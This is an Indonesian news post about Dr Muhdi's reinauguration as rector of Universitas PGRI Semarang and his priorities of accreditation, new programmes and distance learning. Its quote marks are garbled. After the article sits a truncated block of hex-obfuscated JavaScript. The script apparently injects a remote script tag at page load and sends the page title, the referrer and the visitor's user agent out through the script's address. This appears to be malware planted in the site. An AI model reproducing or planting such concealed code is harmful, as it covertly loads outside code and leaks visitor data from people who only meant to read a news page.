Akreditasi dan Penambahan Jurusan jadi Prioritas

Akreditasi dan Penambahan Jurusan jadi Prioritas

Dr Muhdi SH MHum kembali mengemban amanah sebagai rektor Universitas PGRI Semarang masa periode 2018-2022. Dalam kepemimpinannya kali ini, Muhdi hendak memprioritaskan beberapa target, di antaranya penambahan program studi. Penomoran Ijasah Nasional (PIN), kuliah jarak jauh, serta yang mendapat prioritas utama ialah peningkatan kualitas akreditasi jurusan. Hal itu disampaikan dalam seremonial pelantikan dan pengukuhan jabatan rektor, Gedung Pusat Lt.7 (30/04).

a�?Akreditasi adalah kunci utama untuk meraih kepercayaan publik. Untuk menuju ke sana, kita pun harus meningkatkan kualitas, dari SDM dosen, fasilitas, hingga profesional itas kerja administrasi dan pelayanan, otomatis itu,a�? ungkap Muhdi setelah acara pengukuhan . Selain itu, Muhdi juga menganggap pembukaan progdi baru, terutama S2 adalah upaya agar tak tertinggal dari keperluan publik. Salah satunya S2 pemdidikan IPA.

a�?Kita tengah menjajaki program perkuliahan jarak jauh sesuai dengan perkembangan zaman. Kami pun tengah mempesiapkan sistem tersebut,a�? pungkas Muhdi. Dalam pengukuhan itu, hadir pula Koordinator Kopertis Wilayah VI Prof DYP Sugiharto.

3\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

 

Tinggalkan Balasan

Alamat surel Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *